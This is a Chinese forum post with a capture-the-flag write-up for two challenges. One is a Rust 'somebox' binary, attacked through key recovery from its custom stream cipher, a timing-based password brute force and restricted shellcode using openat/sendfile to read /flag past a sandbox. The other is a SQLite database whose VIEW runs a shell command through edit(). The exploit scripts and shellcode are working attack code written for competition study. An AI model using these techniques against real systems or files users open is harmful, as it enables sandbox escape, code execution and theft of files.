找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

979

积分

0

好友

111

主题
发表于 14 小时前 | 查看: 3| 回复: 0

somebox

本题是一道综合性的Rust题目,对选手的逆向分析功底、密码学知识以及shellcode编写能力提出了较高要求。

图片

程序初始输出为一串加密数据,分析需从逆向入手。主逻辑位于sub_1AB40函数中,通过字符串可以定位到一个菜单选项。

图片

顺着“menu”字符串可以找到关键的数据结构。

图片

可以确定,1FA20是核心的加密函数。

图片

这是一个自定义的流式加密算法。推测其参数结构如下:

struct encryptData{
    __int64 k[4];
    __int64 b[4];
    __int64 key[4];
    __int64 idx;
};

加密算法表明,密钥流通过递推公式生成:a[n] = k * a[n-1] + b。其中kb随机生成,仅有初始密钥a[0]已知,即结构体中的key初始值。

图片

v8值仅用于与原文进行异或,而流式密钥v6经过一系列可逆变换得到v8。因此,获取异或后的值即可反向推导出原始key。由于四个密钥轮转使用,导致开头的32字节加密是固定的,后续部分完全随机。

菜单的原文已知,结合密文可以推算出开头部分使用的密钥序列。即对于四个数列key1[n], key2[n], key3[n], key4[n],我们已知它们的前几项。

同时,已知数列递推公式为:key[n] = (k * key[n-1] + b) mod 2^64 (n>=1)

逆向分析总结出以上信息后,需要借助密码学方法,根据已知的数列前几项来求解参数kb。尽管可能存在多解,但实测表明任意一组解均不影响加解密过程。

以下是求解脚本:

# 输入:已有的若干项(无符号 64 位,Python int 足够)
from math import gcd
M = 1 << 64
def mod64(x):
    return x & (M - 1)

# 解线性同余 k*dx ≡ dy (mod M)
# 返回候选 k 的列表(每个在 [0, M-1])
def solve_for_k(dx, dy):
    dx = mod64(dx);
    dy = mod64(dy)
    if dx == 0:
        # 0 * k ≡ dy (mod M)  -> 有解当且仅当 dy ≡ 0 (mod M)
        return [0] if dy == 0 else []  # 特殊:dx==0 不约束 k,如果 dy==0 则任意 k 可,返回 placeholder
    g = gcd(dx, M)
    if dy % g != 0:
        return []
    # 除以 g,在模 M' 下求逆
    dxp = dx // g
    dyp = dy // g
    Mp = M // g
    # 计算 (dxp)^(-1) mod Mp
    # 使用扩展欧几里得或 pow since Mp 不是素数但 gcd(dxp, Mp)==1
    inv = pow(dxp, -1, Mp)  # Python 3.8+
    k0 = (dyp * inv) % Mp
    # 所有解为 k0 + t*Mp, t=0..g-1
    return [(k0 + t * Mp) % M for t in range(g)]

def find_k_b_from_sequence(seq):
    n = len(seq)
    if n < 2:
        return None  # 信息太少(任意 k,b 可)
    # 尝试用第一个能约束的相邻三项(或多处)来生成候选 k
    candidates = None
    for i in range(n - 2):
        dx = (seq[i + 1] - seq[i]) % M
        dy = (seq[i + 2] - seq[i + 1]) % M
        ks = solve_for_k(dx, dy)
        if ks == []:
            return []  # 在此处无解 -> 整个序列不可能来自同一线性映射
        # 若 dx==0 且 dy==0 意味着这三项对 k 不产生约束,继续找下一组
        if dx == 0 and dy == 0:
            continue
        # 否则 ks 为候选集合(注意:若 dx==0 and dy==0 we skipped)
        candidates = ks
        break
    # 如果一直没有约束(全部相等或每组三项都 dx==0,dy==0),处理特殊情形
    if candidates is None:
        # 所有相邻差都为0 => seq 都相同 => (k-1)*c + b ≡ 0 (mod M),无限多解
        return "ALL_EQUAL"  # 提示无限多解(或需要更多约束)
    # 验证候选,保留能让所有已知项成立的那些
    valid = []
    for k in candidates:
        b = (seq[1] - (k * seq[0])) % M
        ok = True
        for i in range(n - 1):
            if ((k * seq[i] + b) - seq[i + 1]) % M != 0:
                ok = False;break
        if ok:
            valid.append((k, b))
    return valid

将脚本保存为m.py。系统会对用户输入的十六进制数据进行加密后再解析,因此输入前需要先用相同的流加密函数处理(该函数加解密相同)。加解密共享密钥生成器,需妥善管理状态。

初始密钥可通过调试查看栈数据获得。

图片

以下是交互脚本的核心部分,展示了密钥设置与加解密过程:

from pwn import *
from m import find_k_b_from_sequence
context.log_level = 'debug'
context.arch = 'amd64'
import os
import sys

def ror64(value, shift, bits=64):
    """64位循环右移 - rol64的逆操作"""
    shift %= bits
    return ((value >> shift) | (value << (bits - shift))) & ((1 << bits) - 1)

def rol64(value, shift, bits=64):
    """64位循环左移"""
    shift %= bits
    return ((value << shift) | (value >> (bits - shift))) & ((1 << bits) - 1)

def mix(v6):
    v7 = v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2) ^ ((v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2)) >> 4) ^ (
                (v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2) ^ ((v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2)) >> 4)) >> 8) ^ (
                     (v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2) ^ ((v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2)) >> 4) ^ ((v6 ^ (
                         v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2) ^ ((v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2)) >> 4)) >> 8)) >> 16)
    v7 = v7 & 0xFFFFFFFFFFFFFFFF
    v7h = v7 >> 32
    v8 = rol64(v7 ^ v7h, 7)
    return v8

def inverse_xor_shift(y, k):
    """逆异或变换:从 y 恢复 x,满足 y = x ^ (x >> k)"""
    x = y
    shift = k
    while shift < 64:
        x = x ^ (x >> shift)
        shift *= 2
    return x & 0xFFFFFFFFFFFFFFFF

def inverse_mix(v8):
    """mix 函数的逆向算法"""
    # 步骤1: 循环右移7位得到 u
    u = ror64(v8, 7)
    # 步骤2: 从 u 恢复 v7
    u_high = (u >> 32) & 0xFFFFFFFF
    u_low = u & 0xFFFFFFFF
    v7_high = u_high
    v7_low = u_low ^ u_high
    v7 = (v7_high << 32) | v7_low
    # 步骤3-7: 逐步逆异或变换恢复 v6
    x4 = inverse_xor_shift(v7, 16)
    x3 = inverse_xor_shift(x4, 8)
    x2 = inverse_xor_shift(x3, 4)
    x1 = inverse_xor_shift(x2, 2)
    x0 = inverse_xor_shift(x1, 1)
    return x0

OOO = bytes.fromhex('''
3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D
3D 20 54 4F 59 20 45 4E 43 52 59 50 54 45 44 20
53 45 52 56 49 43 45 20 3D 3D 3D 3D 3D 3D 3D 3D
3D 3D 3D 3D 3D 3D 3D 3D 3D 0A 31 29 20 45 63 68
6F 20 62 61 63 6B 20 77 68 61 74 20 79 6F 75 20
73 65 6E 64 0A 32 29 20 41 64 6D 69 6E 20 6C 6F
67 69 6E 0A 33 29 20 4D 61 67 69 63 43 6F 64 65
20 72 75 6E 6E 65 72 0A 34 29 20 53 68 6F 77 20
63 6F 6E 66 69 67 0A 35 29 20 51 75 69 74 0A 0A
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 0A 59 6F 75 72 20 63
68 6F 69 63 65 3A 20''')

def setKey(hexdata):
    data = bytes.fromhex(hexdata.decode())
    global KEYA, KEYB, KEYC, KEYX
    KEYC_TMP = []
    for i in range(0xC0 // 8):
        if (i % 4 == 0):
            print()
        num1 = u64(data[i * 8:i * 8 + 8])
        num2 = u64(OOO[i * 8:i * 8 + 8])
        KEYX.append(num1 ^ num2)
        KEYC_TMP.append(inverse_mix(num1 ^ num2))
    print("----------")
    for i in range(4, 8):
        num1 = u64(data[i * 8:i * 8 + 8])
        num2 = u64(OOO[i * 8:i * 8 + 8])
        if i == 5 or i == 7:
            KEYB[i & 3] = KEYC_TMP[i]
    k1 = [KEYC_TMP[0], KEYC_TMP[4], KEYC_TMP[8], KEYC_TMP[12]]
    k2 = [KEYC_TMP[1], KEYC_TMP[5], KEYC_TMP[9], KEYC_TMP[13]]
    k3 = [KEYC_TMP[2], KEYC_TMP[6], KEYC_TMP[10], KEYC_TMP[14]]
    k4 = [KEYC_TMP[3], KEYC_TMP[7], KEYC_TMP[11], KEYC_TMP[15]]
    res1 = find_k_b_from_sequence(k1)
    res2 = find_k_b_from_sequence(k2)
    res3 = find_k_b_from_sequence(k3)
    res4 = find_k_b_from_sequence(k4)
    print(res1)
    print(res2)
    print(res3)
    print(res4)
    if len(res1) == 1 and len(res2) == 1 and len(res3) == 1 and len(res4) == 1 or 1==1:
        KEYA[0] = res1[0][0]
        KEYA[1] = res2[0][0]
        KEYA[2] = res3[0][0]
        KEYA[3] = res4[0][0]
        KEYB[0] = res1[0][1]
        KEYB[1] = res2[0][1]
        KEYB[2] = res3[0][1]
        KEYB[3] = res4[0][1]
        print("KEYA:", [hex(i) for i in KEYA])
        print("KEYB:", [hex(i) for i in KEYB])

def getKeyStream():
    global KEYA, KEYB, KEYC, KEYX
    KEYX = [i for i in KEYC]
    i = 0
    while (1):
        realkey = mix(KEYX[i & 3])
        yield realkey.to_bytes(8, 'little')
        KEYX[i & 3] = (KEYB[i & 3] + KEYA[i & 3] * KEYX[i & 3]) & 0xFFFFFFFFFFFFFFFF
        i += 1

KEYGEN = getKeyStream()

def decrypt(hexdata):
    KEY = b''
    data = bytes.fromhex(hexdata.decode())
    dec = bytearray(data)
    for i in range(len(data)):
        if i % 8 == 0:
            KEY = next(KEYGEN)
        dec[i] ^= KEY[i % len(KEY)]
    return dec

def encrypt(data):
    KEY = b''
    enc = bytearray(data)
    for i in range(len(data)):
        if i % 8 == 0:
            KEY = next(KEYGEN)
        enc[i] ^= KEY[i % len(KEY)]
    return enc.hex().replace(" ", "")

for i in range(1):
    KEYA = [0, 0, 0, 0]
    KEYB = [0, 0, 0, 0]
    KEYC_TMP = []
    KEYC = [0x9E3779B97F4A7C15, 0x0000000000000000, 0x94D049BB133111EB, 0x0000000000000000]
    KEYX = []
    r = process("./somebox")
    firstData = r.recvline()
    setKey(firstData)
    if (KEYA[1] == 0):
        r.close()
        sys.exit(0)
    decrypt(firstData)
    while True:
        inp = input('$')
        if inp == 'exit':
            break
        r.sendline(encrypt(inp.encode()))
        b = r.recvline()
        print(decrypt(b).decode())

至此,成功与加密服务建立交互。注意功能1的输出未加密,因此调用时密钥流不会推进。

图片

接下来分析登录功能。逆向定位关键代码,在比赛中需要通过dbg_server附加进程进行动态调试。步骤如下:

  1. 开启dbg_server
  2. 使用pwntools运行攻击脚本。
  3. IDA选择进程附加。

调试截图如下:
图片
选择调试-附加进程。
图片
选择对应的somebox进程。
图片
附加成功后即可进行调试。
图片

分析可知,用户名必须为admin,密码为随机生成。
图片
每次密码校验正确后会sleep 5ms,可利用此时延特性进行逐字节爆破。

def brutePassword():
    password = bytearray(16)
    current = 0
    for i in range(128):
        found = False
        for c in range(33,0x7F):
            password[current] = c
            r.sendline(encrypt(b'2').encode())
            decrypt(r.recvline()).decode()
            r.sendline(encrypt(b'admin').encode())
            decrypt(r.recvline()).decode() # enter password
            r.sendline(encrypt(password.strip(b'\x00')).encode())
            result = decrypt(r.recvline()).decode()
            pos = result.find('(')
            rpos = result.find('ms)')
            if(rpos == -1):
                print("!!!",password.strip(b'\x00'))
                return password.strip(b'\x00')
            T = int(result[pos+1:rpos])
            if(T >= 5*current +5):
                print(password.strip(b'\x00'),result,T)
                current += 1
                found = True
        if(found):
            break
        if(not found):
            password[current] = 0
            current -= 1
    return password

为方便本地调试,可Patch程序使密码验证始终返回成功,因为后续的Shellcode执行才是重点。
图片

根据功能3(MagicCode runner)定位到代码执行位置。
图片
程序使用mmap分配了一段权限为7(可读、可写、可执行)的内存。
图片
在执行shellcode前,会关闭该内存段的写权限,并在满足特定条件时随机打乱输入的shellcode字节。

完整算法简化后,其逻辑可抽象为一个“游戏”校验:

  • 游戏有3个玩家和1个Boss。
  • 三个玩家的初始血量分别为shellcode中连续三个字节的值 + 255。
  • Boss的血量为三个玩家血量之和。
  • 所有人的攻击力为5,一次攻击造成5点伤害。
  • 血量低于5视为死亡。

每回合随机选择一个存活玩家与Boss战斗:

  1. 玩家攻击Boss,Boss血量-5。
  2. Boss攻击该玩家,玩家血量-5。
  3. 任何一方全部死亡则游戏结束。

将玩家生命值表示为 5x + a, 5y + b, 5z + c (其中 a, b, c < 5)。Boss血量为 5(x+y+z) + (a+b+c)

分析可知,游戏胜利的条件极为苛刻。最终,在仅剩一名玩家时,需要满足 (a + b + c) < 5,才能在玩家先手攻击后击败Boss。这里的a, b, c即每个字节值模5的余数。

因此,shellcode必须满足以下约束:任意连续三个字节值模5的余数之和必须小于5。

for i in range(len(shellcode)-2):
    s = 0
    for j in range(3):
        s += shellcode[i+j] % 5
    if s >= 5:
        print("error")
        quit()

需精心选择指令,使其字节值模5的余数(权值)尽可能小。一些有用的指令包括:

  • jmp $+2; (操作码 EB 00,权值 0, 0)
  • mov ecx, $imm; (操作码 B9 ?? ?? ?? ??,权值 0, ??, ??, ??, ??)
  • xchg r1, r2 指令优势在于其操作码可互换(如xchg r2, r1),效果相同但可能获得不同的权值组合。

图片
执行shellcode前,几乎所有寄存器被清零,缺乏可写地址。需先分析沙箱规则。
图片
沙箱规则较简单,允许openatsendfile,但缺乏直接可写内存。因此选择使用mmap分配内存,用于存储/flag字符串。程序在执行shellcode后会关闭标准输入,因此必须一次性写入符合规则的完整shellcode。

以下是符合约束的shellcode示例:

mov ecx,9
mov eax,ecx
mov edi,0
mov esi,0xa000
mov edx,7
mov ecx,0x22
mov r10d,ecx
syscall ; mmap
add rax, 0x5000
mov rbx,rax
jmp $+2
xchg rbx,rbp
mov rbx,rax
xchg rbx,rsp
sub rax,0x5000
mov rbx,rax
; write /flag
mov ecx,'/'
mov [rbx],cl
jmp $+2
inc rbx
mov ecx,'f'
mov [rbx],cl
jmp $+2
inc rbx
mov ecx,'l'
mov [rbx],cl
jmp $+2
inc rbx
mov ecx,'a'
mov [rbx],cl
jmp $+2
inc rbx
mov ecx,'g'
mov [rbx],cl
jmp $+2
inc rbx
mov ecx, 0
mov [rbx],cl
jmp $+2
inc rbx
jmp $+2
mov rbx,rax
jmp $+2
xchg rsi,rbx
jmp $+2
mov ecx,0
jmp $+2
mov edi,ecx
jmp $+2
mov ecx,0
jmp $+2
mov edx,ecx
jmp $+2
mov ecx,1
jmp $+2
mov edi,ecx
jmp $+2
mov ecx,257
jmp $+2
mov eax,ecx
jmp $+2
syscall ; openat
mov ecx,0
jmp $+2
mov esi,ecx
jmp $+2
mov ecx,1
jmp $+2
mov edi,ecx
jmp $+2
mov ecx,0x30
mov r10d,ecx
mov ecx,40
mov eax,ecx
mov ecx,0
mov edx,ecx
syscall ; sendfile

最终通过Python编写的完整利用脚本,成功获取flag。
图片

补充:沙箱通过配置文件设置了10个禁用系统调用位。openat已被放行,但原生orw(open-read-write)中的readwrite等通常被禁用。可用于读取文件的系统调用还包括:mmap, readv, pread64, preadv, preadv2, splice, sendfile, io_uring, io_setup等。本题质量较高,综合考察了多项安全技能。


TrustSQL

题目信息

  • 目标:利用/home/qwb/sqlite3中的漏洞,构造恶意数据库文件。当用户用该sqlite3加载此数据库并执行查询PRAGMA trusted_schema = ON; select users from qwbDB;后,自动弹出系统计算器。
  • 环境:提供的Ubuntu虚拟机,用户qwb,密码admin。靶机环境相同,仅密码不同。
  • 限制:需执行特定查询命令。

题目已开启PRAGMA trusted_schema = ON,可利用sqlite3的edit()函数执行命令。若允许任意SQL,可执行:

select edit('gnome-calculator;','gnome-calculator;');

图片

但题目要求只能执行特定查询select users from qwbDB;。因此,可以通过创建一个视图(VIEW)来间接触发恶意载荷。

CREATE VIEW qwbDB(users) AS SELECT edit('gnome-calculator;','gnome-calculator;');

图片
当执行select users from qwbDB;时,就会调用edit()函数弹出计算器。





上一篇:Windows RasMan漏洞深度分析:权限提升与CVE-2025-59230高危攻击链
下一篇:多产品并行验证行动指南:从原型设计到用户验证的实战总结
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-17 15:12 , Processed in 0.135679 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表